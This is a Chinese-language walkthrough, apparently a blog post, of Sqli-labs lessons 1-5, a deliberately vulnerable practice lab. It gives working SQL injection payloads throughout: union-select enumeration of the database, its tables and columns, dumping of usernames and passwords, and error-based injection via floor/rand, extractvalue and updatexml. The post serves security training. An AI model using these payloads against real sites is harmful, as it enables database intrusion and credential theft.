Sqli-labs靶场详细攻略Less 1-5

Less 1-5

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

在这里插入图片描述

注入语句
判断当前查询的数据库表共有几列
http://127.0.0.1/Less-1/?id=-1' order by 4 --+
  1. 其中代表使用get方法传入参数,参数名称为id

  2. id赋值为-1,也就是一个不成立的条件,使系统原本要查绚的东西不回显,因为在这个系统中只回显两个值,如果正常查询的话,注入的语句查询结果就不能回显。此处后面有详细说明。

  3. -1后面的'作用是闭合后端php语言中传递参数原有的一个引号(传入的参数为字符型)。

  4. 后面的order by 4中通过改变其中数字的值,从1,2,3直到4依次尝试,这里尝试到4页面出现错误信息,代表数据库表共有三列。(order by 在sql语句中表示按照第几列排序输出,默认升序,后跟数字或列名)

  5. 最后的--+的作用使注释掉php语言中传入参数最后的那个引号。sql语句中使用--进行单行注释,这个方法在--后加入一个空格才有效。而在某些http请求实现过程中+发送到服务端后会被转化成空格。因此这里使用--+进行注释,当然将+换为空格的url编码%20也可以。同时,mysql数据库中也可以使用#进行注释,但http请求中并不包含#,因此要将#进行url编码为%23

    例:

create database database_1    -- 创建数据库database_1
create database database_1    #创建数据库database_1
查看哪一列的查询会回显
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+

假设存在数据库表

idusernamepassword
1DumbDumb

正常查询传入参数id=1时既可以查到上述数据。

当注入语句为

http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+

时,得到结果为:

在这里插入图片描述

此时只回显了查询id=1的部分。这时可以将id传入为-1,使得查询不成立,这时的结果就为:

在这里插入图片描述

此时回显了union select后面的内容。这里可以看到两个回显点分别为union select的第二和第三个位置。

注意,因为原本查询的数据库表列数为3列,使用union select语句查询的表也只能是3列,因为这两个查询的结果要进行拼接。也就是说这里只能填入union select 1,2,3,而不能是union select 1,2union select 1,2,3,4等等。

查询数据库各种信息
查询数据库名
http://127.0.0.1/Less-1/?id=-1' union select 1,2,database() --+

database()函数,返回当前数据库名称。在第二个回显点,也就是union select的第三个位置输入database()函数。

在这里插入图片描述

可以看到当前数据库名称为security

查询数据库表名
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  1. group_concat()函数,可以使多行数据在一行中显示。

  2. information_schema是mysql特有的库,存储各种数据库的信息

  3. information_schema.tables代表information_schema数据库中的tables表,详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息。其中table_schema字段表示该表名属于哪个数据库。

在这里插入图片描述

查询列名
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述

可以看到感兴趣的列名分别为usernamepassword

查询用户名
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users--+

在这里插入图片描述

查询密码
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+

在这里插入图片描述

Less-2 GET - Error based - Intiger based(GET方法,基于错误的整型数据注入)

这个在后端编写的时候通过get传入的参数为整型,那么在传入id参数为-1的时候就不用在-1后面加上'用于闭合前面的后端编写时前面的'。其余的注入方式与上一关相同。

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

这一关与第一关的区别在于传入参数在后端的闭合方式不同,第一关使用'闭合,这一关使用')闭合,其余注入方式没有区别。

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

这一关使用")闭合,其余注入方式没有区别。

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

这一关使用报错注入,报错注入就是通过人为的引起数据库的报错,但是数据库在报错的同时会将查询的结果也呈现在报错中。

1. floor()函数报错

利用floor( )函数进行报错注入时,需要和rand( )、count(*)、group by等函数或命令进行配合。其中:

  1. floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。

  2. rand( ):生成一个0~1之间的随机浮点数。

  3. count(*):统计某个表下总共有多少条记录。

  4. group by x:按照(by)一定的规则(x)进行分组。

rand( )函数有两种形式:

无参数的rand( ):生成一个0~1之间的随机浮点数,无规律,每点一次运行,生成的数都会变;

在这里插入图片描述

有参数的rand(x):如rand(0),生成一个0~1之间的随机浮点数,相当于指定随机数生产的种子,这种情况产生的随机数与函数本身的计算次数相关,每次产生的值都是固定的,如下图所示,每次点一次运行生成的数据都无变化:

在这里插入图片描述

根据上述规律,每一次计算floor(rand(0)*2)的值也应是固定的,遵循0、1、1、0、1、1、0、0、1…这样的规律:

在这里插入图片描述

至于from后面的表,应该填一个已知的确认表,一般会填上information_schema.schemata,其实只要数据库中存在的表都可以,跟生成的结果没有任何关系。如果填上不存在的表名或填错了,会报错说表不存在。

关于count(*)group by

假设有表a

namecityscore
libeijing80
wangguangzhou70
zhoushanghai85
yangbeijing75
sunshanghai90

当我们执行select count(*) from a group by city时,数据库系统首先会生成一张空的虚拟表,由于group by city,第一次读取的值是“beijing”,系统紧接着会在虚拟表中寻找是否已经存在“beijing”,由于表是空的,因此直接插入一行数据,虚拟表变成:

keycount(*)
beijing1

紧接着,第二次读取的值是“guangzhou”,由于虚拟表中依旧没有key为“guangzhou”的字段,故插入;第三次读取是“shanghai”,继续插入;第四次读取是“beijing”,由于虚拟表中已经有了“beijing”,故将key为“beijing”的字段的count(*)的值加1,变为了2。剩下的以此类推,最后形成了这个虚拟表,也就是select count(*) from a group by city执行后的最终结果:

keycount(*)
beijing2
guangzhou1
shanghai2
构造报错语句
select count(*),(floor(rand(0)*2))x from information_schema.schemata group by x;

注:本例中所用的表为information_schema.schemata,换成别的表也是可以的,但必须保证其至少拥有3行数据!

按照上述过程,数据库首先会建立一个空的虚拟表:

keycount(*)

第一次group by x,也就是group by floor(rand(0)*2),由于floor(rand(0)*2)第一次运算的值是0,而空表中没有key=0的数据,故插入一行数据,插入数据的过程中需要再取一次group by后面的值(即再计算一次floor(rand(0)*2),此时为第二次计算floor(rand(0)*2),结果为1),取到了1,将其插入到空表,并将count(*)置1。

keycount(*)
11

第二次group by floor(rand(0)*2),此时为第三次计算floor(rand(0)*2),结果为1,刚好表中有了key=1的数据,故直接将其对应的count(*)加1即可。

keycount(*)
12

第三次group by floor(rand(0)*2),此时为第四次计算floor(rand(0)*2),结果为0。于是,系统在表中寻找是否有key=0的数据,发现并没有,故应当插入一条新记录。在插入时再一次计算floor(rand(0)2)(就像第一次group by那样),此时为第五次计算floor(rand(0)*2),结果为1,因此需要将key=1那一行的count(*)置1。但是,这里的矛盾暴露出来了——虚拟表中已经有了key=1的数据,对应的count()为2。对于这种情况,数据库系统会报出主键冗余的错误(Duplicate entry ‘1’ for key ‘group_key’),也就是所谓的floor报错。

在这里插入图片描述

构造注入语句
获取数据库名
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a --+
  1. concat()函数用于将多个字符串连接在一起,变为一个字符串。这里将要查询的数据库名与floor()函数计算出的结果拼接在一起,这样在报错时会以数据库名1的形式显示出来。

  2. 这里不能使用上文中的group_concat()函数,该函数后接group by字段可以指定按照个字段将字符串拼接,因为前面的count(*)函数也用到了group by字段,这里如果使用group_concat()函数会产生冲突。

在这里插入图片描述

获取数据库security中表名
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat((select (select group_concat(table_name) from information_schema.tables where table_schema='security')),floor(rand(0)*2))a from information_schema.tables group by a--+

这里就将上个语句中的database()函数换成查询表名payload即可,这里不再赘述。

在这里插入图片描述

2.extractvalue()函数报错
http://127.0.0.1/Less-5/?id=1' and (extractvalue(1,concat(1,(select database()))))  --+

extractvalue()函数使用时向其传递两个参数,注入时在第一个参数处写入任意字符,在第二个参数处写入concat(1,payload)即可。

3.updatexml()函数报错
http://127.0.0.1/Less-5/?id=1'  and updatexml(1,concat(1,(select database())),1)  --+

extractvalue()函数类似,这里在传入三个参数,在第三个参数上写上任意字符,其余与上一个函数使用方法相同。

在这里插入图片描述

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值